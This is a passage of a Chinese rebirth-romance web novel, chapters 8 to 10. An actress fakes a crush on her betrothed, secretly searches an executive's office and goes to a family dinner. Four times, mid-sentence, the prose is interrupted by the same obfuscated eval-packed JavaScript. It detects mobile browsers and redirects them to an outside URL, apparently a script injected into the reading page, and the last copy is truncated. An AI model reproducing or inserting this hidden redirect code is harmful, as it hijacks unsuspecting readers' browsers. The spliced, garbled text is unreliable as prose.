身边认识的亲戚朋友,只要有脑子的都知道凌枫对她没兴趣。 “你是不是进入角色太久,没有能力从角色的情绪中抽离出来,以至于中毒太深。”凌枫毫不留情地道。 真他么的会说话。 常好好在心里默默琢磨着他刚才那个不屑的小挑眉,嘴上说道:“我不懂,你为什么会觉得我喜欢你是假的?”找到夸奖自己的时机更不能放过,“原来如此,我的演技已经到了炉火纯青的地步。” 沉默了足足有二十秒。 凌枫才像是回过神,“你喝酒了?已经开始说胡话了。”稍微停顿了一下,他又非常认真地补充一句,“你的意思是你喜欢我却还要表面拒绝你和我的娃娃亲,并且每次看见我时都要冲着我翻你的大白眼。常好好,你真是一个独特的人。” 他那表情分明就在说:你脑子不好了,需要去看病。 他么的,骂人不带一点脏字。 虽然但是,听到他充满怀疑的追问,常好好心里得意得很,脸上偏偏摆出一副坦然,甚至带点“你不懂我”的无奈表情。 她的脸往前凑了一下,仰头看着凌枫,眼神亮得惊人,声音放柔道:“我家里的情况你多少知道点吧。邓敏是我的养母,她不是一般的虚伪。表面对我多好似的,实际每天找机会给我下套。年轻时我被她影响,什么都喜欢跟她唱反调。包括进入娱乐圈、与你的娃娃亲、还有无数个事情,多的数不清楚。现在想来,与其说我跟她较劲,倒不如说我在跟自己较劲。” 这句话凌枫听懂了,但他仍然没信常好好的说辞,“所以你因为她,放弃了与自己喜欢多年的人结婚?” 凌枫话里话外充斥着不解,而且是带着讽刺的不解。 “人是有很多面的。我知道现在你听我说这些觉得很诡异,但事实就是如此。”常好好演技到位,表情、情绪都恰到好处,“你可能认为我脑子不好。也是,我确实有很多自己都无法理解的行为。”她故意停顿,然后扔出又一个“猛料”,“知道我为什么喜欢你吗?因为你对我爱搭不理的。” 凌枫皮笑肉不笑,“原来你有自虐倾向。” 完全不受他刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242729|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些话的影响,常好好继续她的节奏。 “想当初我是因为你的不理睬而对你产生兴趣,后来慢慢喜欢上你。喜欢一个人的感受你肯定清楚。那是一种说不清道不明的吸引和感觉。”察觉到凌枫眉头微微蹙起,专注着思考什么,她垂下眸子笑了笑。笑容里没有半分羞涩,全是掌控局面的狡猾和一种“他果然迟疑了”的了然。 于是趁火打劫道:“总之,我没骗你。包括我跟安燃成为好朋友也是因为你。” 凌枫不置可否地挑了挑眉。 常好好:“安燃他……他只不过是一个工具人。” 就算是沉稳冷静的凌枫,听到这句话时还是被影响到嘴唇抖了三抖。 眼看对方心理防线出现一丝缝隙,她见缝插针:“你不觉得奇怪吗?我为什么经常去现场看你们的比赛,后来还和安燃成为朋友。这都是因为我喜欢你。但又不想对外表明我的心意,只好先从安燃下手,背地里对他进行旁敲侧击,问了好多关于你的事情。” 凌枫脸上出现了罕见的不可思议。 常好好明知故问:“你现在这是什么表情?是不是很得意?你以后不会在外面吹牛,大肆宣扬我喜欢的人是你吧?”她面上如此说,实际真正得意的人是她自己。 对上了! 全部对上了! 天才! 我是天才! 哈哈哈哈哈…… 这一套“胡编乱造法”结合“离谱暗恋逻辑学”的组合拳打出来,效果惊人。 凌枫难得被她惊到语塞。他微微张开嘴,似乎想从她这番话里找出漏洞。但仔细回想从前的种种细节,再把她那套说辞搅和在一起,让他一贯精明的大脑瞬间过载。坐在那里眉头紧锁,仿佛真的在脑海里验算一道名为“她是否暗恋我”的复杂题目,陷入了漫长的沉默期。 常好好不敢大意,关键时刻坚决不能掉链子,刻意放慢了语调,“所以,我现在后悔了。” 这句话一点不掺假,完全真情流露。以至于凌枫刚要张嘴,看她那副懊悔莫及、多愁善感的表情,权衡再三把嘴合上。等抬眼,准备再次抛出拒绝的话术,被她先下手为强:“凌枫,你就那么讨厌我?” 到这步必须放大招。 她眼底含着泪花,卷翘的睫毛扑闪扑闪的,大颗泪珠滴答滴答从脸颊划落,滴到凌枫的办公桌上。 最后一招杀手锏必须感谢安燃。多亏他嘴欠,要不然常好好不可能知晓凌枫受不了女孩在他面前哭,再冷漠也不好当场直说。 “你把我桌子弄脏了。”凌枫道。 回答真够直男的。 好在没再拒绝,说明凌枫对她没厌恶到她以为的程度。 常好好心里的大石头落下,却不敢有一分一毫松懈,毕竟戏没演完呢。她回溯刚刚立的人设和剧情,琢磨着不能再死缠烂打下去,否则会适得其反。于是做做戏,抽了抽鼻子,表现出很尴尬的样子,然后闪了。 是真的闪了。 走出办公室五米处的夹角处,她停下脚步,弓着腰靠在墙边。 “太不好对付。演这么一出比我演一部戏还要费心力。”说着说着长舒一口气,稍微直起腰抬起头,结果跟一个人的眼睛对上。 心里咯噔一声。 8. 刺激 张雪安静地伫立一旁,文件夹被她托在臂弯里。 除开凌枫,常好好面对其他人的心理素质向来可以,率先打破宁静,露出灿烂的微笑,热情地挥了挥手:“嗨,这么巧。” 张雪脸上没太多表情,让人看不出情绪,整个人一动不动,一直盯着常好好看。 不知道为什么。明明背部紧贴在墙上,却感觉后背凉飕飕的,常好好忍不住打了个寒颤。 不会吧?点这么背,就这么被人听见了?等等,刚才说啥了来着? 出神的功夫,眼前晃过一道身影。再抬起头,张雪已经站在她身侧,冲她点了点头,然后抬手叩响了凌枫办公室的门。 常好好绞尽脑汁回忆不久前吐槽凌枫的话,貌似没带他本名。如是想,心里松了口气,转身加快脚步原路返回。 傍晚五点到六点是打工人比较难熬的时间段。 这周因为成世泽出差在外,公司会议明显比往常少了近一半。 王宽主要负责会议相关事宜,一下子轻松反而不适应,没事就往茶水间跑,跟同事们聊聊八卦趣事。 今日的八卦中心始终围绕在凌枫与常好好两人身上,直到李盛出现在茶水间,八卦中心又多出一个人来。 “啥?你说常好好是成总安排进来的?” “我靠!怎么可能?” 李盛跟王宽不是一个部门,级别相同,没事总喜欢聚在一起聊天。主要是吃瓜。 “我交接的我能不知道,成总百忙之中特意给我打视频通话,我当时都惊呆了。”李盛道。 “为啥打视频电话?” “看办公室啊?”李盛吃瓜不忘犒劳自己,往嘴里塞了一个小麻花,咀嚼完,用手指划开手机屏幕,举到王宽等人面前,“成总看了好几间,最后定下现在这间最大的给常好好用。” “我的乖乖,太可怕了。” “就是说啊,太诡异了。” “搞不懂你们,有什么诡异的?” “你今天不在会议室里不知道,凌总对常好好的态度很特别。” 提到会议室,李盛想起自己溜走的那一幕,轻咳两声:“能有多特别?” “非常不一般。” “没错。我们一度以为常好好是老大安排进来的人,谁成想还有反转呢?” “天啊,我刚才灵光一闪,突然想到一个非常重要的点。” 包括李盛在内的三个人,全都把目光聚集到王宽身上。在他们的注视下,王宽一如既往的敢说。 “成总是不是刚离婚不久。”他道。 “还好吧,两三个月前?”李盛捂住嘴巴,“你的意思是常好好和成总……” “没错,他们是三角恋。” “?” “啥?” “他们?” 王宽郑重点了下头,一脸笃定。 茶水间瞬间安静。 过了一会儿,其中一个吃瓜群众问:“常好好明天还来吗?” 李盛摇了摇头,被王宽的话震惊到说不出话来,缓了好半天才又道:“我听成总的意思,不是长期在这里。”随即大声训斥,“领导的事不要过问,工作时间不要总偷懒摸鱼。” 其他两名员工立马噤声。大家面面相觑,最后把视线放在先挑起这个话题的王宽身上。 王宽翻了个白眼。 李盛转过身子,把背部朝外,脸朝他们几个人,脸上露出对八卦的渴望,笑得贼兮兮的,放低声音说:“你们懂的,我们不是有群嘛。” “……” 常好好推开家门,随手把钥匙和包扔在玄关的柜子上,熟练地将高跟鞋踢到墙角,光着脚噔噔噔走进浴室,动作快得像一阵风。 洗澡、换家居服、杯子接满水,一套动作行云流水,没半点多余。 她抓起头绳三两下把头发扎成一个小丸子,紧接着啪嗒一声划开平板电脑。 “嘀嘀嘀”几声急促的邀请音效过后,屏幕唰的一下亮起,分成好几个画风迥异的小窗口。 窗口一的沈骁背景像是宿舍,头发扎起一个马尾,因为敷着一张巨大的黑色面膜,只露出两只滴溜溜转的眼睛和一张嘴,把其他几个人都吓一跳,直到她开口正常说话。 窗口二的安燃头发支棱着,眼睛半眯着,看起来又呆又懵,哈欠一个接一个,打得眼泪汪汪。 窗口三的李嘉晨在黑暗的被窝里。他鬼鬼祟祟地缩着脖子,时不时地退出屏幕瞟一眼外面,再闪现回来,压低声线:“我不敢大声,你们说你们的,我听着就好。” 常好好看着三个“精锐”队友,不自觉地笑了笑,也不知道是苦笑,还是哭笑。 她把写满“重要反派人物——凌枫”的蓝色笔记本“啪”地拍在摄像头前。 “看到没有,他也重生了!这可是个人精子,大家都精神点!我们重生计划B、C、D还是X、Y、Z?反正重点是我们要盯住这个家伙,他可不是省油的灯!” 沈骁两根手指捏着面膜边缘,慢吞吞地往下接,扔到屏幕外面不知道哪儿去,随后抬起手,有一下没一下地拍着自己的脸颊:“哦,你光听着啊。也是,小心点哈,别让你爸妈发现你有手机,否则不是没收了,而是直接暴露了。” 常好好:“?” 她那什么破网络?延迟这么长时间? 安燃则懒洋洋地掀了掀眼皮,鼻子里哼出一个迷糊的“嗯”,过了好半天才梦游似的飘出一句:“别逗了好好,就算凌枫真重生也是站在我们这边,反派这个词不适合他。” 常好好手在空中比划,嘴巴刚要张口,发现李嘉晨那边的画面忽然卡顿,随即“啪”地一下彻底黑屏。 苍天啊!这都啥猪队友? 视频里乱成一团,夹杂着疑似鼾声和时不时爽朗的大嗓门。 所谓的“重生计划”探讨会,在离谱和更离谱之间疯狂跑偏。 第一次线上视频会议以失败告终。李嘉晨不再出现。安燃睡得呼呼的,不再回复。只剩下网络不佳,但还能对话聊天的沈骁。 一想到沈骁,常好好就头疼,只想把她朋友魏筝的事顺利解决了,要不然肯定天天被她“折磨”。 于是一边与她线上语音聊天,一边耐心地翻看《重生计划手册》。 她的目光落在手册粗体加黑的几行字上,将有用的信息牢牢锁住。 依册子里面的说法,魏筝在不久后会因为生活中负债而私自挪用公司公款,被人发现后威胁,最后演变成当对方的小三。 魏筝这事调查重点在于她负债的原因,以及威胁她的男人。 目前已知线索:恶心渣男是一个有老婆和女儿的中年男人。 单看这条线索范围很大,可若将此锁定在酷誉潮玩公司内部,真正符合条件的人不多。 结婚且有女儿。 常好好手指轻轻揉搓着耳垂,嘴里小声嘀咕。 忽然,她睫毛极快地颤动一下,像是捕捉到了某个一闪而过的念头。 此时此刻,成世泽那张熟悉得不能再熟悉的脸,在她脑海中扭曲,套上了她上部古装剧里阴险反派的五官,正对着她露出一个充满算计的假笑。 猛地倒吸一口凉气,常好好下意识地摇晃头,怀疑是不是熬夜熬出了幻觉。 印象中成世泽是一个能把规则两个字刻进骨头里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242730|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人。什么事该做,什么事不该做,界限划得清清楚楚,半点不含糊。 “没错,我想太多了。” 她用力按压着太阳穴,试图将刚刚那些不着调的想象压下去,一遍遍告诉自己:“别硬往里套!成世泽道德底线那么高,怎么可能?” 但心底却有一丝微弱的声音仿佛在说:“这个世界不是非黑即白,也许……万一呢?” 猜疑一旦出现,便一发不可收拾。 不能再这样下去了,常好好飞快地跑到书房打开电脑,眼神变得锐利而专注。 她有条不紊地搜集信息,闭上眼,默默地回想细节,试图将所有的疑点串联起来。 事关成世泽和魏筝两个人的命运。无论如何,她都必须调查清楚。 一杯咖啡的香气,标志着新一天的开始。 常好好靠在门边看着外面。每个人都在自己工位上埋头干活,敲键盘的、打电话的、小声讨论的,一副再平常不过的工作场景。 她没声没响地缩回身子,关上办公室的门。脸上看不出什么表情,但心里已经拿定了主意,拿起手机点开成世泽的对话框输入一大段话,直到如愿以偿得到对方的回复,才上扬嘴角,露出“奸诈”的笑。 姐要搞一票大的。 下午两三点钟,走廊里就像一锅煮开了的粥,吵得很。 趁着这片乱哄哄的动静,常好好猫着腰,从自己办公室里溜了出来。她贴着墙根,眼睛不敢闲着,一边走一边飞快地扫着四周,留意着有没有人注意到她。 路过凌枫办公室时,赶紧低下头,等走过去了,再立刻加快步子。 太刺激了,心脏咚咚咚地狂跳。走到那扇想进的办公室门前,她停下喘了口气,小心翼翼地回头瞄了一眼。 很好,没有人关注这里。 这个节骨眼上,她手心里全是汗。长吸一口气,在心里默默祈祷着。下一秒握住冰凉的金属门把,一点点地拧开,再侧了侧身闪了进去,几乎没发出一点声音。 就这样,门在她身后悄无声息地合上,外头的喧闹一下子被隔开了。 顺利进入屋内,她心里还揣着那点偷偷摸摸的紧张。一抬眼,办公室跟她想的完全不一样。没有想象中的整洁利落,反倒让人眼花缭乱。 靠墙的文件柜顶上摞着高高的文件夹。大办公桌上更别提了,各种纸张、报告、书,东一本西一本地摊着,几乎把桌面那点木头颜色全盖住了。 刚才在门外盘算好的步骤,先找哪儿再翻哪儿,一下子全卡壳。 常好好站在原地,有点发懵,手悬在半空,不知道第一下该往哪儿伸。 成世泽看着一脸正气,人模人样的,办公室里咋就这般不同凡响? 她泄气的同时,一屁股坐下。顺手拿起放置在电脑旁边的精美相框,定睛看了看,再轻轻放下,拿起另一个相框。 两个相框里都没有出现成世泽的前妻——齐薇。 齐薇跟成世泽结婚三年便离婚,两人有一个女儿。 联想到成世泽刚离婚不久,常好好的手微微顿了顿,脑子里冒出一个可怕的念头:魏筝的事不会真的和成世泽有关吧? 过去有关成家那些被她忽略的细节,此刻全都清晰地冒了出来。 上一世,成世泽出事后成家、邓家忙得很。后续发生一系列事情,成家却再没出现过齐薇的身影。 “看来没什么感情。”她小声嘀咕,凭借记忆将相框放回原处,撅着屁股,手忙脚乱地继续翻着抽屉,翻出一大堆文件和本子。 正迟疑先打开一堆里的哪个。 一声轻响,办公室的门被人毫无征兆地推开了。 9. 可疑 卧槽啊?! 常好好身子先是定住,而后僵硬地直起身,手里还捏着刚摸出来的小本子。一回头,她跟门口的男人对上了眼,慌乱之间,嗖地甩飞了本子,摊了摊空空如也的手,好像在说:“你看!我啥都没做。” 凌枫一只手还搭在门把手上,猛地怔住,看那收缩的瞳孔明显被眼前的场面惊到。他眉头微蹙,眼神从疑惑变成审视,在她脸上,又在地上的本子扫了个来回。 空气一下子凝固。 常好好感觉脸上的血一股脑全冲到了头顶,不自觉地咽了咽口水:“呵呵,我来给我哥送绿植,顺手帮他整理文件。” 凌枫没吭声,只是沉默地盯着她,那眼神比骂人还让人难受。 几秒钟后,他声音有点发沉:“是吗?我看着更乱了。” 眨了眨眼,再把整个屋子扫描一遍,常好好抽了抽嘴角,凌枫这个家伙竟然对她口下留德。 何止是乱? 她心虚着,不知道从哪儿掏出一张纸巾,象征性地蹭了蹭无处下手的桌面,嘴硬道:“乱就对了,没收拾完呢。” “所以,”凌枫没有揪着上个话题不放,打量一圈室内,忍不住问,“你说的绿植在哪?” 什么眼神?常好好把手中捏成一团的纸巾撇开,几步走到他跟前,不看他眼睛,视线直接落在男人身旁的小桌子上,伸长手臂一掏。 “呐,这儿呢。” 凌枫眼睛直勾勾地盯着她手心,好像看见了什么不可思议的小玩意。 一个迷你陶盆里,可怜巴巴地杵着个绿不拉几的小疙瘩,浑身毛刺刺的,远看还以为是盆里不小心掉进了一颗沾了灰的绿豆。 凌枫是见过大世面的人,本想无视,却还是忍不住弯下腰,鼻子都快凑到她手上才勉强看清。 原来真是一个微缩版的仙人球。 他看看这玩意,又抬头看看她,脸上写满了常好好看不懂的内涵。 看什么看?没见过仙人球吗?常好好瞪他一眼,心里免不了一顿吐槽。 “世泽办公室从不放绿植。”凌枫道。 常好好捧着绿植的手指头动了动,怪她对成世泽没深入了解。 上一世,知道成家内幕后,没多久便去上大学。这期间几乎和成世泽断了联系,只偶尔和成世轩来往。后来进了演艺圈,他们之间见面的次数少之又少。 她轻微晃了晃脑袋,捧着“小玩意”看了又看,仿佛做了很艰难的心里斗争,依依不舍地摸了摸盆盆,双手往前伸去。 “我把它送给你吧。” 沉默。 现在是什么情况?免费的都不要? 持续沉默。 能不能有点眼力见?看不出来她的手臂很酸? 常好好感觉自己在演一出默剧。 眼看她即将收回小绿盆,大手终于舍得伸过来。 凌枫接过仙人球。 “没什么事我先走了。”常好好啪啪啪拍了三下,掸掉了掌心里残留的土。 凌枫挑了挑眉:“不整理了?” 常好好扫了一眼室内全景。这么大工程,她可接不了。等全部翻完可能都要七年后,有这时间不如找人打听,最起码它快啊。 她头也不回地婉拒,以最快的速度拉开门,拔腿就跑,几乎是落荒而逃。 滑稽的动作并没有让凌枫的脸上露出笑脸。他踏出成世泽办公室,径直走了几步,默默低下头,看了眼右侧的垃圾桶,又看了眼“小玩意”,表情多少带着点嫌弃。 王宽正要去办公室找凌枫。走到跟前看见凌枫在垃圾桶旁停住,他赶紧堆起笑容,搭话问道:“老大,扔东西啊。”再仔细一瞧他手上的东西,唇角抖了抖。 这啥玩意啊?像小鼻嘎似的。完全不符合老大的审美。 “有事?”凌枫淡淡地问。 “哦,这是设计二部的新申请。”王宽将文件递给凌枫,顺手托住花盆底座,“老大,这东西怪丑的,我帮你扔了。”说完就要拿走。 凌枫微微用力,扯开王宽的手。一只手拿花盆,一只手拿文件,走路带风,留下一句:“我自己处理。” 王宽望着凌枫帅气的背影,恍然大悟地点了点头。他明白凌枫的意思,这么丑的东西必须亲自扔才有仪式感。 五分钟过后,那个被王宽认定为丑东西的小鼻嘎已经被人无情地掏出,可怜巴巴地躺在窗台台面。 凌枫面色凝重,两只手不断在土里翻腾,直到确认里面没有可疑物品,才把仙人球原封不动地放回去。 嗡嗡嗡的震动声不断响起。 凌枫把小绿盆靠在阳台左侧,拿过手机,点开置顶群聊。 群里就“烤冷面口味”话题讨论了大半天。你一句我一句,消息不停歇,屏幕唰唰唰地往上滚。凌枫废话不多说直接@其他三个人。 凌枫:【有一个话题比烤冷面更有意义:常好好,重生了。】 “阿嚏!” 莫名打了一个大喷嚏。 常好好吸了吸鼻子,视线扫射整个办公区域,寻思还能从谁那里问出点有用的讯息。 刚刚已经找了王宽和李盛。一个重点没问出来不说,还被她们缠着反问一大堆有的没的。此时元气大伤,寻找目标必须快准狠。 这时,一个身影进入到她的视线范围内。 常好好朝着目标方向前进,准备来一波猛攻。 “小宋,干嘛呢?”她看着小宋抓在手中的零食袋,眼睛亮晶晶。嘴上不说,意图明显。 常好好不是领导却胜似领导,一句话把小宋惊得差点噎住,硬生生把零食咽下去,从旁边快速拿了一包同款零食递过去:“挺好吃的,你尝尝。” 这么些年的演技没白练。常好好笑呵呵地接过零食,条件反射看了看袋子上的配料表,撕开包装袋的手指顿在空中,进退两难。 配料不透明,袋子印刷不清晰,牌子压根没听过。 别是个三无品牌? “零食是魏筝送给我的,她在直播间买的。”小宋边吃边说,咔呲咔呲的清脆声音相当有节奏,“虽然不是啥大牌子,但味道可以。” 魏筝? 常好好抿着唇,差点喜极而泣。太不容易了,不等她绞尽脑汁找话题,对方就把重点抛出来。 小宋!你真是个好小宋。 她趁热打铁,抓紧问道:“你跟魏筝关系不错?” “我们同期进入公司,感情肯定比跟其他人更好些。”小宋向常好好抛了个“你懂的”眼神,“我们两个都是成总面试进来的。” 小宋比想象中自来熟,并且有些怪。 发现常好好眼神不对,一看就是想歪了。小宋及时把她拉回来:“你别多想,我们俩都是成总面试进来的人,听说你也是。” “这样啊。”她强行让自己缓了缓,脑袋飞速运转,琢磨如何围绕魏筝和成世泽两个人问下去,又不会让人浮想联翩。 这可把常好好愁坏了。 嘴张了张又闭上,再张了张,发现不行,愣是又把嘴闭上。 来回三次,反倒小宋看不下去,直白道:“我知道魏筝是富二代,跟你们都认识,在公司里不过是想低调行事。你放心,我懂的。” “啊?” 常好好被小宋整不会了,眨着眼睛,一瞬间更不知道从何说起。 她懂的,懂啥? 常好好真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242731|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚地道:“说实话,其实我不太懂。” 小宋一副“我都懂、我都明白”的小表情,拍了拍她的肩头:“沈骁你们不都认识吗?” 常好好更不懂了。 她惊讶之余,继续道:“你也认识沈骁?”不对呀,手册里没写啊。 小宋点了点头:“对啊,昨天刚认识,刚才我们还聊天来着。” “沈骁来了?” 常好好不知道沈骁来了。 “她刚才说饿了,出去买吃的去了。”小宋往嘴里连塞两片小零嘴,心满意足地咽下去。忽地眼神一变,身子往前顷,脸贴近电脑,手指有频率地点着鼠标,看起来很忙碌的样子。 常好好偏过头,瞧见凌枫走出办公室,朝其他区域迈步。 “……” 这一刻,常好好明白小宋刚说的“她是成总这边的人”是什么意思了。难怪看见她过来,一脸淡定地吃着零食。原来在她心里,她们同属一条战线。 寻思问的差不多,她离开前台,急忙拿出手机,找到最近通话回拨第一行号码。也就两三秒的功夫,对面接通电话:“喂,好好。是不是想我了?” 常好好懒得跟她贫嘴,直奔主题:“你什么时候回酷誉,我有新发现。” “快了快了。我在外面小吃街买烤冷面呢,买完就回去。” “好,我在办公室等你。” 结束通话,沈骁把手机放回衣服口袋里,两只眼睛饿得发绿光,直勾勾盯着锅。 她没注意到摊主的反常,开始报口味:“老板,我要两份!一份两个蛋,不要香菜,多放糖多放醋。另一份正常。” 听她说了一通要求,摊主拿小锅铲的手慢慢缩了回去:“好的,稍等会儿。锅没热。” 额前刘海被热气腾得都打了绺,沈骁干笑一声,“大哥,我怎么觉得锅已经热到不能再热了呢。” 请问,还要热到哪种程度?直接沸腾那种? 摊主扯出一抹尴尬的笑容,“是吗?我看看。” 沈骁向来有啥说啥,一点不拐弯抹角,有疑惑直接问:“大哥,你别告诉我,你第一天出摊。” 摊主倒是诚实:“你怎么知道?” 沈骁:“……” 三十分钟,足足三十分钟。办公室依旧只有常好好一个人。她靠在椅背,抬起头,对着天花板放空。 沈骁人呢? 又过了十分钟。 沈骁人没看见,一兜黑乎乎的、黏糊糊的不明物体被跑腿送了上来。 常好好看着这一坨东西愣了愣,掏出手机刚想发作,就接收到沈骁的消息。 【抽象派沈骁:别提了,时间来不及了,我只好先去接李嘉晨。有事晚上视频说。都怪烤冷面大哥,做生意跟玩似的,我等他半个小时,他给我两份糊的烤冷面。】 “?” 她说这两团黑乎乎的不明物体是…… 烤冷面? 常好好拿出方便筷子,从中夹出一小块所谓的“烤冷面”,一股无法言说的味道直冲鼻头。说时迟那时快,她三下五除二把袋子系紧扔到门口,转身拿起手机疯狂码字。 【好好生活:所以,你给我拿回来的意义是?】 【抽象派沈骁:证明我真的去买了烤冷面。】 “……” 现在好了,被她这么一整,连晚饭都不想吃了。 有时候,人真不能想一些有的没的。这不前脚刚念叨完,后脚门被敲响。 常好好直起身子,规规矩矩坐在椅子上,清了清嗓子。 她道:“请进。”头偏了偏,摆出她练了十多年的甜美微笑。 然后……然后笑容僵在嘴边。 10. 聚餐 凌枫进入办公室,手微微用力,门在他身后咔哒一声合拢。他不紧不慢地来到桌前,双手撑住桌沿,破天荒地对她笑了笑。 常好好看着凌枫的脸感到陌生。 学什么不好,学人家改人设?还是说…… “你决定跟我结婚了?”她激动地道。 “我来是为了告诉你,”凌枫刻意停顿五秒,直到看见常好好脸憋的通红,差点上不来气,才继续开口,“别忘了今晚两家的聚餐。” 今晚? 望着常好好懵逼的脸,凌枫顿了顿,“明天我妈妈和侄子过生日。” 常好好恍然大悟。她差点忘了这茬,方琴和凌卓远刚巧农历同一天生日。 方琴是凌枫和凌楷的妈妈。凌卓远是凌楷的儿子。 最开始凌家小办生日会,后来其他世家的人很给面子,都前来祝贺。渐渐的,生日宴会越办越大。 可是今晚聚餐是从哪冒出来的? “所以今晚?”常好好问号写在脸上。 “我妈想你了,等不到明天。” 呃…… 听起来这么诡异呢。 方琴特别喜欢常好好。上一世,她甚至在常好好与王洋的婚礼上哭了,与身边人哭诉自家儿子不争气。 “我妈要我接你过去。”凌枫语气里难掩几分不情愿,“还有,能不能别总把结婚的事挂在嘴上。” 这是演都不演了? “何时结婚看你。”常好好学着凌枫的小动作和说话的口吻,说完双手叉腰,腮帮子气得红扑扑的,“你失忆了?” 凌枫嘴角微微扯了扯,不知道是不是破防了,转过身去,看不到他此时的表情。只听见他道:“我在停车场等你。”然后拉开办公室的门走了出去。 就在门即将合上的那一刻,常好好从门缝里瞥见凌枫张开嘴,随即耳边传来两个字,声音不小—— 戏精。 “……” 从酷誉到酒店大概三公里路程,一路注定不平静。 副驾驶位置上,常好好双手交叉抱在胸前,嘴角绷紧。她用余光观察凌枫的动态,决定这次在他发言之后再出声。 事实如她所愿。 车未开,凌枫主动开了口。 “你没系安全带。” “……” 常好好憋着口气,一言不发,默默地薅过安全带。随着“啪”地一声响,车缓慢行驶。 已开出一里地,车内持续无声,仿佛能听见彼此的心跳声。 常好好捏着手臂上的肉,嘴唇明显有了抖动,忍得极为艰难。眼看快要破功,男人的声音传到她的耳朵里:“你知道的,我妈对你非常喜欢。” 男人率先抛出话,常好好整个人肉眼可见地松弛下来,唇瓣微微分开,鞋里的脚趾头都跟着活跃了,夸起自己来相当臭屁,“当然,谁让我人见人爱。阿姨喜欢我,再平常不过。” 车内再次陷入僵局。 她憋的啊,一口气堵在喉咙处。忍不下去,最终爆发了。 “凌枫,你懂不懂什么是对话?”话这么少,还劲儿劲儿的,凌家就他一个人有这出。 “我只是不想反驳你。”凌枫眼眸平静如水,说出来的话可一点不平静,“我怕你受不了。” 行,算你狠。 不知过了多久,车稳稳停在酒店门口。 常好好松开安全带,手拉车门,半只脚已经踏出,凌枫轻飘飘来了一句:“对了,一会儿别发疯。” “?” 他脑子是不是被门挤了? 常好好:“凌枫。” 男人挑了挑眉。 常好好:“别以为我喜欢你,你就可以没事跟我发神经。”一旦让自己进入剧情里,她相当专业和敬业。 凌枫:“……” 包房外。 常好好直直站立着,目光投向紧闭的大门。她的双手紧紧攥着白色裙摆,脚趾头在鞋里蜷缩起来,死死扣着鞋底。片刻,她松开一只手默默抬起,握成拳头状,悬在空中却迟迟未有动作。 除了成世泽不在,成知聿、成世轩、邓敏都在里面。 上一世,成世泽出事当天。成知聿因为受到刺激突发急病被送去医院抢救,后来一直处于昏迷状态。邓敏接受不了事实,把一切怨气撒在她身上,认定凶手是她。只有成世轩忙前忙后,冷静处理公司与家庭变故,对待她同以前没什么不同。 明明成世泽的死与她无关,可她却备受煎熬,每天活在水深火热之中。 她厌恶邓敏那张发疯的脸,更厌恶邓敏的虚伪。 回忆让她痛苦,常好好下意识挣扎了两下,默默收回了拳头,又抬起来,想了想再收回。 连她自己都受不了这股墨迹劲儿,微微侧头,瞥了一眼凌枫,发现男人脸上依旧平平淡淡,没有一丝不耐烦。 情绪真稳定啊,换作她看见别人磨磨唧唧的,早就开口提醒了。 “那个……你怎么不敲门。”琢磨半天,常好好再次把难题扔给凌枫。 凌枫:“等你准备好。” 天啊,会说人话了。 凌枫:“我怕你发疯。” 去你大爷的。 常好好收回刚才的想法,狠狠瞪他一眼,这次不再纠结,抬手敲响包房门。 听见成知聿应声,她长呼一口气,感觉自己用了最大力气推开这扇门。 二人的到来,瞬间吸引了在场全部人的视线。 方琴第一个起身,挽起常好好手臂,帮她将额边一缕头发掖在耳后,眉目间尽是喜爱。 凌肃和凌楷笑着说了几句客套话。凌楷的妻子林蕊拉着儿子凌卓远朝她点头微笑。 成知聿坐在主位,看见他们进来,脸上露出温和的笑,朝她招手示意她坐过来。 邓敏热情地挽起她另一边手臂,眼神时不时地瞄了瞄,生怕别人看出她们关系不亲密。 这里面成世轩与她最相熟,随意打了声招呼。成世轩妻子赵莉和女儿成馨彤将她迎过去。 以上所有的一切都符合常好好对上一世每个人的印象。 “好好越长越漂亮了。” “可不嘛,越来越有气质。” “楷楷现在不得了,青出于蓝而胜于蓝。” “我听朋友说酷誉最近很有名气,枫枫无论做哪一行都让人放心。” “我小叔做的积木和手办特别好看,我的好朋友们都非常喜欢。” “听说卓远又拿了全校第一名。” “馨彤才厉害呢,舞蹈大赛获得金奖,表现力太棒了。” …… 上来先来一波客套话。饭桌上开启你一句我一句的模式。常好好右边坐着嫂子赵莉,左边坐着很少发言的凌枫,左边的左边则是一直冲她发散爱意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 